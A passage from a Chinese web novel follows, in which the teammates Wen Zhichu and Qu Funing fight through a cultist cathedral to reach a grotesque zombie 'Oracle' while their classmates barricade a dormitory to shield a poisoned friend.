浑身的汗不停地往外出。 非常困,却万万不能闭眼。 他还受伤了,之前在通道逃蹿的时候,被里面的钩子给钩了下右胳膊,伤口不小,只简单用绷带包扎了,现在还火辣辣得疼。 他已经累到神志恍惚,脸上也都是汗,眼睛都快被糊上了。 而且他谁都联系不上。 这里没有信号,只能看到延迟发来的信息,却怎么都发不出去,收到的消息大部分还都是乱码。 怎么办。 已经五号了吧、马上快六号了? 他难道就这样要死在这里吗?任务没完成,还得拖累大家一起去死… 他的手心出汗,身体险些往下滑,眼睛紧紧地闭住,咬紧牙关,苦苦支撑。 不能出错…不能出错…他身上背负着不止一个人的性命…哪怕现在比死还难熬,也得熬着。 下面似乎又传来了脚步声和枪声。 骨头快裂开了,屈孚宁的呼吸越来越难,越来越微弱。 身体不知觉地不停往下滑,他快要撑不住了,真的快撑不住了…这闷湿的、难闻的管道,就要成为他的葬身之地了么? 沉寂中,终端亮了,传来延迟发来的消息。 Wen:[撑住,我会来找你。 ] Wen:[很快。 ] 屈孚宁的汗水滴落在终端上,模糊的视线努力辨认清楚字后,不可置信地睁大了双眼。 温知初? 她回来了?她怎么回来的? 还没等他想清楚些什么,通道上方响起一阵枪响,几乎像是放鞭炮一样,劈里啪啦,劈里啪啦,而后是一声声闷响,和剧烈的晃动。 发生了什么。 奔跑的脚步声越来越快,越来越快… 有脚步声在管道口停了,似乎有人弯下身,双眼朝下探视。 屈孚宁本能地后脑勺发麻,紧绷住身体,屏住呼吸,绝对不能被发现… 有东西在往下滴落。 一滴、两滴、三滴…是水。 “找到你了。”熟悉的声音让屈孚宁瞬间抬起了头。 从管道口滑下来的,是温知初,她浑身湿漉漉的,头发丝还往下滴着水,衣服溅满了血。 温知初撑在管道内,伸出手:“抓住。” 屈孚宁艰难地攀出管道,外面躺着三四个中枪武装人员,他出管道的瞬间温知初把他拽直。这里的动静绝对会吸引来更多的人。 温知初:“跑。” 没有休息的时间,屈孚宁发麻的骨头被温知初半拽着,踉踉跄跄地从通道里往外跑。 从管道里跳下去,到了平地,一路上,又越过几个武装人员的尸体,而后又被温知初拽上另一个通风口。 屈孚宁的手腕被温知初拽着,能感觉到温知初的手心冰凉,袖口的水湿漉漉地往下滴。 他被拽着跑,一路上都是意识恍惚的,自己的脚挪不动、不辨方向,完全只能倚靠前面的温知初带着他跑。 好几次都差点摔倒,不知道走到了哪里,一会儿跑,一会儿匍匐,一会儿平地一会儿上通风口,一会儿枪声又响起,温知初开枪杀死了几个路过的武装人员。 血溅于空中,屈孚宁被拉拽住狂奔,没有任何一个歇息的气口,速度快到他的意识完全跟不上脚步,而半道的光景也看不清。 他用力地喘着气,不知道跑了多久,恍惚间只看到温知初的背影,修长纤瘦的身体,沉稳得让人忘了自己身处的危机。 就好像无论发生什么事,她都会解决。 延迟发给屈孚宁的两条终端信息,温知初确实做到了。 她来了,来得很快。 没有让队友僵死在那腥臭的管道中。 直到两人不再奔跑,屈孚宁这才后知后觉地反应过来,自己没死,自己的骨头还能动。 他的骨头差点真要嵌死在那通道中了。 现在他们站着的地方,附近有个高耸的教堂状建筑,风呼啸着往高处的弧窗里吹,窗户在风中抖动。 立柱这里暂时没武装人员,但教堂里肯定有人。 温知初停下脚步,侧身于立柱前,垂眼望向屈孚宁:“能撑住么?” 屈孚宁扶着柱子,一条腿明显得打颤,用力地点头。 温知初:“我们要爬上去。” 而且,要快。 这里只是暂时没人,但不远处肯定有武装人员过来。 这里是南区的礼拜楼,也是章诎给他们标志出来的藏身之处。 这个藏身之处兼任为整个南区最重要的宗教建筑,是最有可能靠近圣谕者的地方,作为藏身之处,太难抵达了。 要不然屈孚宁也不可能在外面陷入僵局这么久。 他们要去的地方,是礼拜楼的穹顶,更准确的说,是穹顶的拱形玻璃那里。 章诎标志的地方,便是拱形玻璃的夹层玻璃处,那里分为内外两层,中空可以藏人。 原本这么设计是为了贴合穹顶曲度,让穹顶更美观,内外玻璃都是不可从外直视内部的,确实是最佳的躲藏之地。 温知初抬头。 他们需要从三楼的彩绘窗爬上去,爬到穹顶上。 她开口:“走。” · 绕到教堂左廊。 在一楼凸出的窗台下有半堵低矮的石栏,温知初把枪别到腰后,站在石栏上,手撑在石雕外檐,踩在墙面的石砖缝之间转换落点,攀到二米高的一楼雕花窗窗顶。 往下,朝屈孚宁伸手,让他借力往上,直到他跨到窗户这儿,温知初继续往上翻。 上面有些装饰性石条,是用来掩藏不美观的排水管的,温知初踩着,上臂收紧,默不作声地往上翻,一层又一层,缓慢而稳定地攀到了第三层的彩窗。 她跨在窗沿外,手往下伸:“快。” 屈孚宁抬头,脖子上吃劲儿到青筋暴露,牢牢地抓住温知初的手。 翻上来,从三楼窗户翻进去。和一楼二楼不同,三楼暂时没人…也许有人,三楼很大,人不在他们这处。 他们轻声在窗下站起,确定四下无人后,温知初反手把窗户关小。 穹顶这儿有藤木木架条,比外面的窗户好翻多了,两人轻声地攀上了穹顶,一前一后地钻进夹层玻璃中。 落脚地比想象中大,大概能坐两个半的人。 位置很高,连风都不怎么能够得着的地方,能坐能站,不过得注意平衡,因为下面正好对着楼梯空档口。 一不小心从上面摔下来,可就直接从三层贯穿着空档口坠到一楼去。 这细细一条楼梯中庭,就这么被设计在夹层玻璃斜下方,摔下去直接能成肉饼。恐高的人绝对不敢往下看的程度。 不过这样也好,这才是个像样的藏身之处,正常人绝对不会想到这上面儿还能藏人。 有了落脚处,这么长时间都未曾松口气的屈孚宁缓缓地吐出一口气。 他坐下,全身的骨头和血液这才有了还存在的感觉。 他张了张口,想说些什么,转向左边坐着的温知初,一个字都没吐出来,突然一惊:“你脸色怎么这么白…” 奔波了这么长时间,屈孚宁这才看清她的脸色。不夸张的说,快跟纸的颜色差不多了。 屈孚宁的话没能说完,温知初修长的手指忽而扶住玻璃,略微屈身,脊椎骨一震,从嘴里吐出血来。 她即时地用另一只手捂住自己的嘴,鲜红的血从手指缝里往外渗,往下滴落,且有源源不断之势。 好像身体里烂透了一般。 屈孚宁手忙脚乱地脱下自己的外套,兜在温知初的身前,深蓝色外套,没过多久就染红了。 几分钟后,温知初这才重新挺直脊椎骨,她坐直,虚弱地背靠在后玻璃上,脸色几近透明,她抬起手腕,用手背抹去嘴角的血。 “没事,”温知初望向神情慌乱的屈孚宁,“快升级了,只是身体有些不舒服。” 屈孚宁的眼睛睁大着,看着满是血的外套,已经说不出话来。 这何止时不舒服…这到底是怎么了… 就算想解释,温知初也没有余力来解释了,她的双眼已然缓慢地地阖上。 “抱歉,”她的声音轻而疲惫,“我可能…需要休息一会儿。” 第96章 温知初昏过去了。 她能察觉到自己的昏厥,以至于在彻底昏过去之前,她绷紧了全身的神经,提醒自己必须要醒来,无论如何不可以就这么一昏不起。 所以整个身躯不是完全没有感觉的,她能隐隐约约听到一些耳鸣和嘈杂的环境音,这些声音真真假假,混杂着真实的声音,也混杂着梦中的声音。 做梦了。 梦见了一些从前的事和场景,这些场景和这轮域里的有些场景重叠着,让人一时间分不清逻辑。 梦本身就没有逻辑。 稀奇古怪、不知走向的梦最终以监狱的铁栏为终点视野, 而后意识彻底陷入了漆黑。 温知初猛地醒来。 她的手背始终保持紧绷的状态,在她睁开双眼的同时指骨也随之绷紧,就好像凭空被什么东西打了一下。 她深吸一口气,坐直身。 身上盖着的衣服,是屈孚宁那件沾满血的外套。 伴随着醒来的还有全身上下的钝痛,越来越痛了,温知初略微屈身,屏息着缓了会儿,直到视野再次明晰,她望向身旁的屈孚宁。 屈孚宁状态也很不好。 他们两个人,就没一个人的状态是好的。 屈孚宁的伤口感染发烧了,他整个人也躺靠在玻璃上,眯着眼睛神志模糊地望向她,能看得出他很努力地想照看温知初,也照看了好一会儿,可惜他自己也撑不住了,眼睛半睁不睁的样子。 屈孚宁:“你…醒了…” 温知初没让他继续说话:“我醒了, 你休息会儿。” 屈孚宁一听这话,脑袋里刻意一直拉展的弦陡然收缩,眼皮瞬间就耷拉下去,再也撑不住地睡了过去。 温知初忍着痛坐直身,从背包里拿出水和药,把药塞到屈孚宁嘴里,灌了点水。 看着屈孚宁咽下去后,她仰起头,自己也就着水把药喝下。 整个过程中她只动了左手,因为自己的右手腕被用绳子绑着,扣在屈孚宁的左手腕上。 这应该是之前屈孚宁为了防止她从夹层玻璃掉下去,刻意绑的。 绳子温知初没有摘,现在昏过去的人变成了屈孚宁,她也得防止他掉下去。 温知初仰起头,又喝了几口水。 深呼吸几次后,把水瓶放回背包。 脑子一直在思考接下来的行动,片刻都不停。 时间不多了。 她往外看。 天色已然蒙蒙亮,六号的清晨快要降临。 他们必须在今天晚上之前,找到圣谕者。 其实圣谕者…应该不远,而且很有可能就在这座建筑中…毕竟这里是南区的核心建筑…难的是她和屈孚宁这两个人,在现在这种状态下,怎么出去。 外面…楼下必然有很多武装人员。 温知初的后背靠在玻璃上。 得先等屈孚宁缓过来。 她的视线瞥向屈孚宁,屈孚宁紧闭双眼,呼吸声轻到几乎听不清,脖子和脸还在不断往外渗汗。 温知初的手背放在屈孚宁的额头上。 非常烫。 楼底下传来细细簌簌的动静,有人的脚步声,也有交谈声,一楼二楼必然有人,而且人不少,映照着光亮,也不知道楼下到底在做些什么。 三楼一片漆黑,温知初透过微弱的光线,能看到穹顶下、三楼的布局。 回廊状,空地非常大,放置着大型圣人像,这一片似乎是特殊的日子才会开放的地方。 正看着,终端亮了。温知初望向光屏。 她的眼神定了定。 是Yu发来的。 这并不是他发来的第一条消息。 大概在三四个小时之前,有了第一行消息。 Yu:[你们到哪儿了? ] 那时候她昏厥着,显然没办法回消息。 于是现在的消息变成了… Yu:[受伤了? ] 从文字中感觉不到对面的情绪,甚至不知道这句受伤了到底问的是她,还是她需要找到的屈孚宁。 温知初的手指停顿了会儿。 Wen:[没事。 ] · 不是没受伤,是没事。 晏逾明的终端亮了,时隔四五个小时,他看到了回讯。 凌晨快 破晓的时间,通舍昏暗,大部分人都在睡,他站在通舍最后排的靠窗户处,借着月光看清了终端上的字。 消息发来的瞬间就被他已读了,就像是一直等着这通消息似的。 高大修长的身影从倚靠着的墙旁站直,晏逾明的视线从终端前抽离,暗处,他的脸部轮廓线条显得漠然,在看到这条消息后,似乎变得更为冷硬。 显然心情很不好。 出外勤的人提前完成任务,在今天凌晨回到监狱基地,现在是凌晨五点半,外勤五点刚落地。 大部分人全都倒头大睡,除了TRES的队员。 确实,已经六号了,现在就算让他们去休息,谁也没办法闭上眼。 通舍里有学生需要出早班的内勤,已经醒了,拿起牙膏洗脸盆开始收拾。 邱任望也没睡,他就坐在班长的旁边,其实他已经待在这里很久了。 因为储见仲的状态有些不太对。 邱任望从刚才开始就一直坐在储见仲的床旁,目不转睛地盯着床上躺着的储见仲。 今天凌晨快三点左右,储见仲低血糖又犯了,当时一直留神他的章诎一下就发现了,想办法给喂了糖水。 现在章诎需要去做内勤任务,去照看其他出内勤的学生,换刚回来的邱任望来看着储见仲。 说实话储见仲的症状有些怪,看起来只是轻度低血糖,但是脸色非常红,而且不时肚子还疼。 邱任望担心这事儿和之前储见仲被注射的药液有关,便一直盯紧他,以防万一。 终端声响起后,邱任望转头望向晏逾明,敏感地发现老大神色不太好。 邱任望:“怎么了?” 晏逾明垂眼看了他一眼:“没事。” 说完后他顿了顿,似乎意识到他说出的话和温知初对他说的话一模一样。 “唔…” 储见仲的痛吟声转移邱任望的注意力,晏逾明漠然的眼神也落在床上。 储见仲捂着肚子,显然是肚子更疼了。 他还在睡,但嘴里不停地哼起声,听起来越来越痛苦。 没过一会儿天就亮了,储见仲一直没醒来,痛呼声也没减弱,随着越来越多的学生醒来,他的声音吸引来一些人。 有学生凑来:“储见仲这是…”怎么了? 邱任望走向前:“身体不舒服。” 学生:“又犯低血糖了?” 邱任望点头。 更多的人围过来,通舍的大灯被打开:“看起来不像低血糖啊…” 床上昏睡不醒的储见仲捂着肚子,身体往中间缩。 有人问:“他是不是肚子疼?” “要不要送医疗室?” 邱任望打断他们的话:“不行。” 他道:“现在医疗室堵着,你们不知道外勤刚回来吗,医疗站里挤满大量受伤的外勤,医护人员根本没时间给其他人看病,低血糖…还是我们自己先处理吧。” 储见仲现在这症状就是从医疗室里带出来的,再送过去,跟往死路里送没什么区别。 邱任望很想平铺直叙地直接告诉这些学生医疗站的事儿,可惜开不了口。 <深渊>怎么可能让? 学生们:“外勤回来了?” “班长回来了?班长…” 学生们这才看到了人群后的班长,班长站在储见仲床旁不远处,后背斜倚在墙上,领子上还沾着些血,显然回来后还没换衣服。 不知道是不是因为刚从外面回来的原因,和他们印象中的班长不同,他今天的神情尤其的冷漠,尤其的不耐烦,不时垂眼看向手腕,眉头皱得更紧了,也不知道是在看时间还是什么。 一时间,没人敢主动和班长打招呼。 “啊!!” 床上的储见仲倏地翻滚起来,他紧眯双眼,双手环住自己的肚子,像被人打了一般不停在床上蜷缩滚动。 嘴半张着,他的脸被汗水浸湿了,“砰”的一声从床上滚下来,继续在地上打着滚。 不用问就知道有多疼。 学生们惊到了。 “怎么了这是?” “难不成吃坏东西了?” 他们想把地上的储见仲往上搬,储见仲翻滚的力气太大,一时间跌出去几个人,竟然都没按住。 混乱间,“哇”的一声,储见仲兀然从嘴里吐出一大滩浑浊的水,也不知道是什么,黑棕黑棕的,腐臭至极,大家尖叫着往外退。 “这是什么玩意儿啊?胆汁么?” “卧槽卧槽卧槽!” 情况太严重了。 “这必须送医疗站了!” “医疗站人手不够,我们直接去找军官吧…” “行,我出去找。” 人群乱糟糟,有人按住储见仲,有人往门口走,混乱中,邱任望拦在门前,把门反锁上,摇头:“事发突然,先别出去找人。” 尤其是找那什么劳什子军官和武装人员。 邱任望开了“剧情脱离”的权限,他知道他现在说的话,肯定会有很多学生不愿意相信。 他把医疗站发生过的事儿说了。 邱任望:“现在去找他们,等于告诉他们实验品已经准备好了,他们把储见仲拉走,储见仲只有死路一条。” 果然,大部分人不信。 “开什么玩笑,邱任望,你别是画画给画疯了吧,艺术生总是神神叨叨的…” “难道你们就这么看着邱任望疼死了?” 邱任望站在门前不让步:“就当我疯了吧。” 他道:“他现在熬过去还能活,送出去绝对不可能活。” 大部分学生们根本没耐心听这些话:“让开!” 不过也有部分学生其实本来就是对这个基地有所疑心的,他们听完邱任望的话后,逐渐停止了动作。 群体的行为往往容易受到引导或是煽动,有学生要闯门而出,其他学生便就跟着要往外闯,没功夫静下来分析邱任望说的话到底对不对。 “让开!” “把门打开!” 邱任望的人设是个存在感比较低的美术生,他说话没什么,他无奈地板着张脸,只能挡着,反锁住门,三四个人想绕过他出门,竟然没人能越过去。 通舍后面,储见仲的痛呼声越来越大。 为首一个高个儿学生,他直接开始动手了,抡着拳头往邱任望的脸上来,劲儿一点都没收,旁边学生们的几个拳头和脚也过来了,邱任望只侧身躲,没反击。 这些学生他动不了,大部分都是还有些良心的孩子,他也不忍心。 下巴挨了一下,瞬间就肿了。 这会儿是大家出去吃早饭的时间,再有两个小时所有出内勤的学生都得到北门集合,到时候就算他们不去找武装人员,武装人员也会来找他们。 眼见着通舍内就要闹起来,也许会吸引来更多的人… 为首的那个高个子端起一个椅子,拎高了要往邱任望方向甩,似乎想把邱任望和门一起砸开,挥举到半空,“砰”的一声,椅子却猛然坠在地上。 众人一看,高个子的衣领被班长拎起来,“啪”的一声摔墙上,椅子掉落于地,而高个子一下摔懵了,他的脑袋在这力道下狠狠地撞在了墙上。 见血了。 脑袋在往下流血。 晏逾明不是邱任望,他性格没那么好,也没什么通人性的好心。 通舍内、门前,一下就安静了下来。 班长看也没看那高个子,目光冷漠而不耐烦地扫视着他们,而后望向门前邱任望:“门挡上。” 所有人都不能出去。 至少是现在。 能拖多久就拖多久。 温知初还在外面,她需要时间,储见仲不能死。 通舍里安静极了,只剩下邱任望搬着桌子,挡住门的动静。 · 屈孚宁醒过来了。 一醒来觉得嗓子干得可怕,眼皮猛得一抖:“什么时候了…” 清醒过来的那一刻就看到阳光了,日光透着玻璃往夹层里扎,屈孚宁一下就坐直,抹着额头上的汗。 退烧了。 天也亮了。 这天亮得他肾上腺素直往上飙,天亮意味着他们的时间越来越少,死亡倒计时越来越近。 “早上七点。”温知初温和而冷淡的声音响起。 她已经把枪别好了,刀柄的绑带也绑好,一切都蓄势待发。 她手上捧着那本《钢铁终焉》,在等待屈孚宁醒来的时间里,她一直在看这本书。 温知初的视线垂向屈孚宁:“只剩下两个小时了,收拾收拾,我们要动身了。” 只剩下两个小时了? 这还是白天,怎么就只剩下两个小时了。 听到两个小时这个数字,屈孚宁立马绷紧身体收拾东西,眼睛一直盯在温知初身上,想等个答案。 没等他开口,温知初把终端打开,光屏递到屈孚宁眼前。 屈孚宁一边扣着衣服扣子一边一目十行地看字,看到东区那里的状况后,立马明了,扣扣子的速度更快。 因为储见仲的身体状况,东区那里最多只能为他们拖延出两个小时。 他和温知初原本的计划,是白天从外墙慢慢摸下去,想办法小心翼翼地绕开武装人员,在这教堂内一间房间一间房间地去搜圣谕者。 现在就剩两个小时不到,想也知道没时间再这么谨小慎微地行事,只能、只能…硬冲了。 温知初抬起手,把绑着两人手腕的绳子摘下来,递了一把组装好的枪给屈孚宁。 “多谢。”屈孚宁低声道。 他一边给伤口换绑带,一边看向温知初手中的书。 绷带换完了,他发现温知初还看着那一页,一直没再翻动。她落眼的那一页没有字,只有图,图有些模糊,过曝的日光下屈孚宁有些看不清楚。 他有些好奇地屈身,顺手也把枪别到后身:“在看什么?” 温知初:“终焉教的图腾。” 她把这一页递近。 屈孚宁看清了,页面上是个铜雕,图上除了边角的细纹,中间是个雕刻得不是很明显的图腾像,得仔细看才能看得出图腾的细节来。 仔细看,有点儿恶心。 驼鹿的身体,四只脚都是人手状,该长尾巴的地方没有尾巴,有张人脸,鹿头也是个人头。 因为画上的驼鹿身躯很庞大,再加上艺术手法,图腾看上去竟然还有些威严,看久了,有种被图腾的眼睛给盯死的错觉。 自古以来,很多图腾,尤其是有宗教意味的,总喜欢把动物和人的某些部分结合起来,既沾了人味儿,也沾了非人的意境,让人敬畏。 屈孚宁错开眼神,他和温知初一起经历这么多轮域,尤其在这轮经历了这么多事儿,已经有默契了。 他知道温知初不可能平白无故地看这页纸。 屈孚宁:“是有什么发现吗?” 温知初刚想说些什么,楼梯上响起了脚步声,脚步声越来越近,温屈二人对视了一眼,都沉默地躬身往外看,夹层间的呼吸声更轻了些。 上来了五个人。 看来能上三楼这片非公开区域的都不是什么普通身份,除了两个神父外,其他三个人都是代行者。 五个人全穿黑,神父着长袍,代行者穿西装,一上楼,灯打开后,五个人没说话,全往神像前跪下,匍匐下身,认真地祈祷起来。 大概五分钟之后,五个人坐到神龛旁长案旁。交谈声响起。 开门见山:“人还没找到?” 一听就是在问凭空在基地内失踪的屈孚宁。 又是几分钟的杂谈推诿,全是没用的话,大抵说些人少是少了,但是底下的人一定会找到,这事儿不归我管,但是该管的人一定能办成功之类的体面话。 聊完这些,其中一个神父道:“只要他人还在里面,就肯定能找到。” “武装人员已经有线索了,诸位放心。”另一个神父说。 “反正南区肯定是没人能闯进来的,尤其是我们这座教堂,是守护着圣谕者的地方,这里这么多人守着,议长们,你们无需担心。” 就一个失踪的人罢了,这事说大不大,说小不小。 这些人说了这么多话,对于夹层玻璃里躲着的二位,有用的就只有那句这里是守护着圣谕者的地方。 圣谕者果然在这里,南区的中心。 原本只有百分之九十的肯定,现在能达到百分百了。 这些人的对话给他们定了个确定的方向,接下来短短的时间内,他们只需要专心于这栋建筑就行了。 屈孚宁低头看终端,只剩下一个半小时左右的时间。 底下的人继续在聊天,屈孚宁的身体半弯,想继续听听有没有什么有用的消息。 坐在屈孚宁身后的温知初单腿跪地,眼神淡淡的,修长的胳膊越过屈孚宁的肩,屈孚宁还没反应过来,那指节分明的手指已然扣动扳机。 “砰!”“砰!” “砰砰砰!” 没有任何预兆,子弹一排扫过去,神父和代行者,五个人的身躯先后倒了下去,子弹穿透头颅,炸出一片血雾。 屈孚宁瞪大了眼,眨眼的功夫,那些人就已经死在了眼前,他猛地反应过来,也抽出枪来。 温知初垂眼:“走。” 开始行动。 第97章 从走廊望去的一排房间里,只有最里面的那个学生通舍门关着,没有人出来吃早饭,不知情的人也许只会觉得这些学生犯懒,赖床,暂时不想起来吃饭。 又能赖多久床, 反正再过不久就得出内勤了。 通舍中, 储见仲的扭动幅度越来越大。 邱任望蹲下身, 紧紧地按住他,有两三个相熟的学生过来帮忙按住手脚。 昏迷的储见仲力气出奇地有劲儿,他们得尽全力才能禁锢住。 储见仲的叫声实在太大, 储见仲拿了块布塞到他嘴里,捂住嘴, 不让他吼出来。 邱任望:“撑住啊兄弟…” 储见仲已经开始翻白眼了,也不知道还能撑多久。 北墙上的挂钟, 时针快走到八这个数字,一分一秒,都是他们所有人接近死亡的时间。 去找圣谕者的那两人还好吗?留给他们的时间不多了。 高个儿学生撞在墙上的血迹已经干涸,其他学生都沉默地低着头,眼神偶尔看向门前站着的那道高大身影。 晏逾明倚在门侧墙边,眼神瞥向终端,似乎在等着什么。 那条没事是终点, 后面没有更新的消息了。 看着没事那两个字,班长的脸色冷得像铁。 也不知道是不是因为他的脸色太过难看太过漠然, 以至于没有任何一个学生再开口提出离开。 “撑住啊兄弟。” 邱任望紧紧地压住储见仲的肩膀, 再次说道。 撑住。 储见仲得撑住。 屈孚宁和温知初那里一定也得撑住。 尽管艰险万分。 · 教堂里,三楼的枪声连响了五声,短促而接连, 震得花窗玻璃晃动,这声音从外面听不算太大,但在寂静的教堂内显得十分刺耳。 三楼的枪声一响,楼下立马就听到了动静。 汇聚在一楼、二楼的武装人员全都身躯一震。 三楼有枪响出事了! 一触即发。 枪声带来的后果温知初和屈孚宁当然知道,他们现在就是在和时间和死亡赛跑,没有任何停滞的空闲。 枪响后,温知初立刻从夹层玻璃上翻下来,贴着墙快步往楼梯走,屈孚宁随后翻了下来。 温知初的身体的钝痛已经到达了一举一动都会带来巨痛的程度,后脖子起了一层血疹子,不过她没停下脚步,也没时间停下脚步,闷声不吭地带头往前走。 楼底下传来武装人员到吼声:“三楼有人!” “开火了!” “有人,快上来!” 错杂的脚步声在枪响后便如同雷声般“噔噔噔”从楼下往上递近,温知初没停,弯腰跑到神像的基座后,侧身跑过去,透过回廊护栏瞄准楼梯口。 “砰!”“砰!” 两个刚踏上三楼的武装人员,前面的应声倒地,后面的在中弹后直接往台阶下滚。 “封东边。”她对着身后的屈孚宁低声道。 屈孚宁攥在手中的烟雾弹立马扔了出去,沿着右侧栏杆下方抛出去。 “轰!”的一声,浓灰在二楼和三楼间炸开,石阶上乱作一团。 他们得借着浓烟去二楼。 厚重呛人的烟里,有武装人员在乱射。 走在前面的温知初走向东边的后梯,屈孚宁跟着,贴墙而行,脚步压得轻而快。 “有三个在二楼通道那儿,西边。”屈孚宁往下看。 这三个人绕不开。 温知初猛地往下跳了半层,落地的瞬间膝盖略震,顺着力道滑铲到柱子后。 “砰!”“砰!”“砰——!” 三发子弹打出去,站在通道口的武装人员们一个个地被射倒,血雾乱炸。 两人往前跑,有个潜伏的武装人员突然从窗户口那儿跳下来,朝屈孚宁举起枪,扳机还没扣下,武装人员背后的温知初侧过身,手上的刀划过他的喉咙,用力一割,血线往外喷,武装人员从窗口往外摔落。 二楼的回廊一片混乱。 枪火交织中,温知初和屈孚宁还得搜房间,一个一个地踢门搜。 屈孚宁踹门,温知初站在他身后替他掩护,枪眼一会儿对准房间内,一会儿对准门外的浓烟中,枪声一声接着一声,子弹壳飞快地往外弹,子弹用完后立即和屈孚宁换位置,迅速地给枪换弹夹。 两人的步子越来越快,屈孚宁继续踹门,过度紧张仓促的情况让他的脑袋上都是汗,耳边的枪声震耳欲聋。 二楼的武装人员越来越多。 子弹在走廊的浓烟里密集穿行,他们就两个人,却得一边提防这么多枪眼,还得不停地搜房间,总有分身乏术的时候。 两人或多或少都受伤了,不过躲得及时,都是子弹擦伤。 屈孚宁在踹二楼最后一扇门的时候,一发子弹直直地从房间里射出来,一瞬间的事儿,根本措手不及,他的身体滞住,后衣领子被身后的温知初狠狠地拽住,屈孚宁顺着力道弯下身,子弹“啪”得打到身后的窗户玻璃上。 玻璃“噼里啪啦”地碎裂。 紧接着又是一连串密集的枪声,温知初开枪打死了房间里的武装人员,与此同时,浓烟里的一发子弹打进了她的胳膊。 血从袖口涌出。 屈孚宁提起枪,根据子弹过来的弧度对准浓烟开枪,有落地的闷声响起。 他转头:“没事儿吧…” 温知初淡淡地抬眼:“下楼。” 二楼的房间排查完了,没找到人。 他们得去一楼。 烟雾弹再一次扔向楼梯口,这次扔的是一楼。烟雾随着震动声炸开,枪声越来越密集。 温知初从二楼楼梯护栏那儿翻了下去,在烟中落地,掏枪、开枪的动作连贯为一体,一路都是她滴在地上的血。 屈孚宁跟着跳了下来。 走、开枪、压制、跑、开枪、再压制。 绷紧着弦,温知初沉稳地重复动作。 往走廊拐弯处走,冲过来的是暴雨般的子弹,噼里啪啦地往他们过来的方向射击。 温知初从地上捡了个武装人员的盾牌,往走廊口一扔,又是一阵暴雨般的枪击声,扫射得落地的盾牌上全是密密麻麻的弹孔,连着后面的墙上也都是凹进去的子弹。 “走。”温知初抿了抿唇线。 他们贴着墙快速挪动。 温知初手中的枪没停过枪声,指节分明的手不停震动着,枪很快就会被打空,动作很快地按开弹匣,旧弹匣咔嗒脱落,空壳儿在地上滚,下一秒,新弹匣已经被她抵上。 推送上膛。 “砰砰砰砰砰!” “砰砰砰砰砰砰砰砰砰砰砰!” 射过来的枪声有多密集,射出去的枪声就有多急促,抬手就是接连不断的射击,不断地换弹匣。 行走间温知初因为身体的钝痛吐了口血,她只是身躯略微停顿了下,抬起眼皮,像无事一般抹去嘴边的血,提脚,用力踹开眼前的门。 枪声愈发交织。 第一间房间空。 第二间房间有人,但全是武装人员,没有他们想找到的人。 第三间房间全都是沙袋。 第四间房间一开,一个武装人员往外冲,温知初左手的刀反手割了他的喉咙。 鞭炮般的枪声中,他们一边受伤一边搜房间,没时间停顿,没时间喘息。 第五间房间封闭,门紧锁。 屈孚宁掩护,温知初用枪托砸门铰链,连砸三次,用肩撞门,门“砰”得一声弹开。 门里一片黑,脚步踏进去的那一刻,一股说不清的感觉涌上二人的心头。 不知道为什么,有种直觉告诉他们,就是这里了。 屈孚宁反手关上了门。 不绝于耳的枪声终于有了铁门的隔绝,褪去后,响起的只剩下后遗症般的耳鸣。 伸手不见五指的黑暗中,有人。 他们从未见过圣谕者,但都觉得黑暗中的那人…绝对是他们要找的存在。 他们需要看见这个存在。 黑暗中的人似乎察觉到了什么,往更黑处退了一步。 温知初手臂上的枪伤还在往下流血,血沿着颀长的手指往下滴落,她和屈孚宁往前走。 好安静。 安静到他们能听到自己的脚步声,也能听到黑暗中的脚步声。 一步一步走近… 沿着微弱的光线,走到足够近的地方,他们终于看情了黑暗中存在的轮廓。 屈孚宁的眼睛不可置信地睁大,在这一瞬间,他失去了语言的组织能力。 黑暗深处的墙边,他看到了一头驼鹿,一头巨大的驼鹿,不…准确的说不是驼鹿。 它有一张人脸,四只脚都是人手状,该长尾巴的地方没有尾巴,也顶着张人脸。 图腾… 图腾上的画面… 温知初抬眼,沉默地盯着黑暗中的圣谕者。 屈孚宁往后退了一步,手脚变得有些僵硬。 眼前的这个存在比温知初给他看得那页图腾还要可怖,起码书上的图腾只是线条的组成,而眼前的这个圣谕者却是实实在在存在的。 这是圣谕者么? 这就是圣谕者? 屈孚宁能看到它的通身都呈现一种暗青色,是那种尸体存放很久的颜色。 躯干是青黑的、人脸是青黑的、落地的手更是青黑僵直的。 毕竟这世界上不存在这种生物,这一看就是拼凑而成的用驼鹿的尸体、用人的尸体。 而尸体又怎么会能动呢? 这世上只有一种尸体能动。丧尸。 由丧尸组成的… 屈孚宁隐隐约约觉得自己知道终焉教到底在实验些什么了。 墙边的它阴沉地看着这两个不速之客,青黑的身躯充满攻击的意味,它攀上了墙,人手落墙挪动,发出轻微的“哒”“哒”声。 这声音,和晏逾明关禁闭时,禁闭室隔壁的动静一模一样。 这就是圣谕者。 这就是终焉教造的神。 它上了墙,温知初和屈孚宁的视线随之上行。 不知道为什么,温知初站在原地不动弹,眼神中似乎有些释然,又似乎还在忍受身体内持续不断的钝痛。 屈孚宁紧握枪,作出警备的姿态。 他和墙上的那东西对上视线,鹿头上的人脸是被嵌进去的,浑浊的双眼盯住人,让人生理性地觉得头皮发麻。 庞大的身体蓄势要跳下来,它往前俯身,脱离深处的黑暗,屈孚宁终于看清这圣谕者的全貌,甚至连头颅上不平整的皮肤都看得一清二楚。 它的嘴张大,往外吐出无数只黏稠的触角,上面布满密密麻麻的虫卵。 “砰!” 屈孚宁朝半空中扑过来庞然大物开枪。 子弹随着剧烈的动静射入了圣谕者的脸部,那一瞬间,屈孚宁的眼前莫名出现了一道空气中的裂痕,如同抽帧般晃动。 这是什么?是出口的缝隙么! 那陷入人脸的子弹反现实逻辑地、如同陷入泥潭般慢慢地包裹进巨物的人面,没有任何血花,没有任何伤口。 半空中的裂痕抽动着,昭彰着此时此刻,一切的发生都不符合剧情逻辑,一切都来自<深渊>纯澈的恶意。 人面脸的子弹凹痕如同种子冒出土壤般,子弹从凹痕中探出,伴随着空气中裂痕的抽动,子弹“啪”得反射出去,直直冲向温知初的方向。 与此同时,半空中的电子音响起: [恭喜TRES战队,完成赛制的最后一个目标,成功见到圣谕者。 ] 子弹的声音和电子音重叠,一切都发生在眨眼之间,看着那射出去后陡然折返的子弹,屈孚宁猛地睁大双眼,他朝温知初跑去,想将她从子弹的轨迹处拉拽走。 来不及了。 “啪!” 子弹始料不及地射入温知初的眉心之上,头颅之间,带来的冲力让站定的温知初后仰。 屈孚宁的声音卡在了喉咙里,目眦欲裂。 电子音相叠地响起。 [第三轮域结束,TRES战队获得胜利,正在为队员们退出。 ] [恭喜队员温知初获得升级,突破S级。 ] 